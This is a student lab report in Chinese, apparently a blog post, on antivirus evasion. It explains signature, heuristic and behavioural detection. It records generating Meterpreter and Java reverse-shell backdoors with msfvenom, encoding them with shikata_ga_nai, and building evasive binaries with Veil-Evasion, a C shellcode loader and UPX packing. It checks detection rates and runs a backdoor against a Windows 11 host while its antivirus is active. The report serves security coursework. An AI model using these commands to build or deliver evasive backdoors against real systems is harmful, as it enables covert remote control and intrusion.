Exp3 免杀原理与实践 20204308李文艳

1.基础问题回答

1.1 杀软是如何检测出恶意代码的?

(1)基于特征码进行检测:
杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据,并将这些唯一的特征码建立成库,形成比对,这样的方式往往是精准的,但其却是相交滞后的。
(2)利用启发式恶意软件检测:
将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,一些典型行为有如连接恶意网站、开放端口、修改系统文件、签名、结构、厂商等。

缺点:片面特征去推断,缺乏精准判定依据,存在一个概率问题;实时监控系统行为,开销较多;没有基于特征码的精确度高。
优点:比较通用,没有滞后问题;可以0-day恶意软件。

(3)基于行为的恶意软件检测:
对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。

该方法和启发式有些重叠,是加入行为的启发式检测。

1.2 免杀是做什么?

一般对恶意软件做处理,让它不被杀毒软件(AV)所检测到。

1.3 免杀的基本方法有哪些?

免杀的方法是针对检测技术的

(1)改变样子

  • 改变特征码
    • 如果手里只有EXE
      • 加壳:压缩壳 加密壳(动态生成原来的文件)杀软可以检测出常用的壳了hhh Hyperion(加密壳)
  • 有shellcode(像Meterpreter)
    • 用encode进行编码(exp2 中meterpreter生成的那个文件)改样子,如异或啥的 其指令 -e
    • 基于payload重新编译生成可执行文件
      • (shellcode是用C语言写的)C语言调用shellcode数组
  • 有源代码
    • 用其他语言进行重新再编译(veil-evasion)
      • 脚本语言,一句一句执行,不生成机器语言

(2)改变行为

  • 通讯方式
    • 反弹式连接
    • 采用隧道技术
    • 加密通讯方式
  • 操作模式
    • 基于内存操作(往硬盘读写文件的时候,杀软会进行工作)
      • meterpreter就是如此工作的,其生成文件的内存很小,其在内存上运行
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

1.4 开启杀软能绝对防止电脑中恶意代码吗?

开启杀软不能绝对防止电脑中恶意代码,通过实验我们可以了解到,只要我们利用一些小众的或自我开发出的编码等处理方式,将恶意代码进行“伪装”,是可以逃过AV的检测的。道高一尺魔高一丈,AV与免杀在发展中是相互博弈的一个过程。随着这两者不断battle,此消彼长,双方不断进步,持续博弈……

2. 实践总结与体会

整个实验做下来,让我感触最深的是杀软和免杀之间的博弈,通过不同方式,可以在一定程度上逃避杀软的检测。同时,对于如果自我开发程序,找到一些特殊的方式,杀软又会完全察觉不到恶意程序,这再一次警醒了我需要科学上网,提高网络安全意识。感觉做的这些实验都很有趣,通过几次实验,也看到了自己的进步,以前出现问题都可能处于一个不知的状态,因为不会去看命令后的显示的英文。而现在逐渐养成了一种意识,关心了解一下,命令行输入后出现的提示语或结果,有时可以知道解决方法就在提示中。

3. 实验过程记录

3.0 环境准备

3.0.1 免杀测试平台

Virustotal:https://www.virustotal.com/gui/home/upload
Virscan:https://www.virscan.org/

3.0.2 获取主机ip地址

Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为172.30.7.176

在这里插入图片描述

Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.191.128

在这里插入图片描述

3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

3.1.1 检验直接生成的后门exe文件(实验二中的后门程序)

这里跟Exp2中生成后门的过程一样,所以我直接用上一次实验生成的20204308lwy_backdoor.exe后门文件,送到VirusTotal、Virscan网站上检测,检测率分别为49/66、23/46。
在这里插入图片描述
在这里插入图片描述

3.1.2 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令 ,将生成 mp_rt_sgn_1_128.exe直接在kali中打开浏览器进入VirusTotal、Virscan网站进行扫描。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.191.128 LPORT=4308 -f exe > mp_rt_sgn_1_128.exe

一次编码使用命令:-p表示payloads,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00’不出现在shellcode中,因为shellcode以’\x00’为结束符。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在VirusTotal上减少了1,检测率48/65,Virscan上反而增加了检测率,检测率为27/46杀软太聪明了hhhhh 。再进行12次编码, msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.191.128 LPORT=4308 -f exe > mp_rt_sgn_12_128.exe ,再将生成的后门程序扫描。

在这里插入图片描述
越杀越多的现象又出现了,看来简单的编码器迭代骗不过杀软hhhh

3.1.3 用msfvenom生成jar文件

在这里插入图片描述

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.191.128  LPORT=4308 -f jar > jar_20204308.jar

payload改成了java/shell_reverse_tcp,生成了jar类型文件
在这里插入图片描述
在这里插入图片描述
检测率明显降下来了!

3.1.4 用msfvenom生成elf文件

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOSTS 192.168.191.128  LPORTS 4308 -f elf > elf_20204308.elf

payload改成了linux/x86/meterpreter/reverse_tcp,生成了elf类型文件

在这里插入图片描述
在这里插入图片描述

3.1.5 用msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp  LHOST=192.168.191.128  LPORT=4308 x> php_mp_20204308lwy.php

在这里插入图片描述
在这里插入图片描述
检测率也不是那么高

3.2 veil,加壳工具

3.2.0 安装veil-evasion

dpkg --add-architecture i386
apt-get update
apt-get install wine32
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh

原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为https://gitee.com/spears/VeilDependencies.git

修改成功后,输入veil,安装相关模块
在这里插入图片描述
遇见2-3error,无法进入veil

sudo git clone https://github.com/Veil-Framework/Veil --depth=1 /opt/veil
echo "/opt/metasploit-framework/bin/" | sudo ./setup.sh -s
cp -R '/var/lib/veil/wine/drive_c/Program Files (x86)/AutoIt3' '/var/lib/veil/wine/drive_c/Program Files/'
popd
use evasion

在这里插入图片描述
成功进入veil

3.2.1利用加壳工具产生后门软件

use 1
list
use 7   //c/meterpreter/rev_tcp.py
set LHOST 192.168.191.128
set LPORT 4308
generate

在这里插入图片描述

list显示,使用7,进行C语言程序的加壳
在这里插入图片描述
options显示已调好的ip和端口号
在这里插入图片描述
生成文件名c_mp_rt_20204308lwy
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.3 使用C + shellcode编程

3.3.1 使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.128  LPORT=4308 -f c

在这里插入图片描述
编辑C文件 vim shellcode_c.c,输入上方的代码以及

int main()
{  
    int (*func)() =(int(*)())buf;
    func();
}

在这里插入图片描述
编译成可执行文件,i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
在这里插入图片描述
在这里插入图片描述

3.3.2 免杀加壳尝试

upx shellcode_c.exe -o shellcode_c_upx.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.4 通过组合应用各种技术实现恶意代码免杀

利用python+rev_tcp

veil
use evasion
list
use 28    //use python/shellcode_inject/rev_tcp.py
set LHOST 192.168.191.128
set LPORT 4308
options
generate

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

检测runme.bat
在这里插入图片描述

在这里插入图片描述

检测setup.py
在这里插入图片描述
在这里插入图片描述

检测py_mp_rt_20204308lwy.py
在这里插入图片描述在这里插入图片描述
检测py_mp_rt_20204308lwy.rc
在这里插入图片描述

在这里插入图片描述

3.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

3.5.0 打开win电脑杀软,并查看其版本号

  • Windows11系统自带杀毒软件Windows Defender
    在这里插入图片描述
  • 联想电脑管家:版本号 5.0.80.3162
    在这里插入图片描述

3.5.1 获取win主机IP地址

ipconfig

在这里插入图片描述

3.5.2 将加壳过的可执行文件shellcode_c_upx.exe后门传送到Windows主机上

  • 在Windows上监听4308端口等待接收可执行文件shellcode_c_upx.exe
ncat -lv 4308 >shellcode_c.exe

在这里插入图片描述

  • 在Kali上将生成的shellcode_c_upx.exe传送给Windows
nc  192.168.43.165 4308 < shellcode_c.exe

在这里插入图片描述
在这里插入图片描述

3.5.3 进入msf控制台进行配置

  • 在kali上使用 msfconsole 命令,进入msf控制台。
    在这里插入图片描述

  • 配置监听模块

use exploit/multi/handler  //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.191.128  //KaliIP,和生成后门程序时指定的IP相同
set LPORT 4308	//设置本主机的端口

在这里插入图片描述
在这里插入图片描述

  • 输入 exploit 运行模块;在Windows上运行后门程序shellcode.exe

在这里插入图片描述

被联想电脑管家发现运行程序
在这里插入图片描述

在这里插入图片描述

4. 遇到的问题及解决

4.1 没有i686-w64-mingw32-c++指令

描述问题:在进行使用C + shellcode编程部分实验时,发现没有一些指令。
在这里插入图片描述
通过查询资料,找到了解决方法。同时,通过这么几次实验,遇见没有指令的通用问题可以直接使用apt-get install [name],有时还会提示需要先执行apt-get update该命令。

4.2 下载veil时网速慢的问题

问题描述:下载veil时花费了几个小时,课题负责人的过程中,应该也经历了这个过程。
解决方式:当时换了一个网络环境网速就明显快了起来,不过当时已经下载了70%,此时我去寻求了下chatgpt的帮助,得到了以下几个回复。感觉建议1,比较靠谱,但是网速得到好转同时也快下完了,也就没再尝试。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值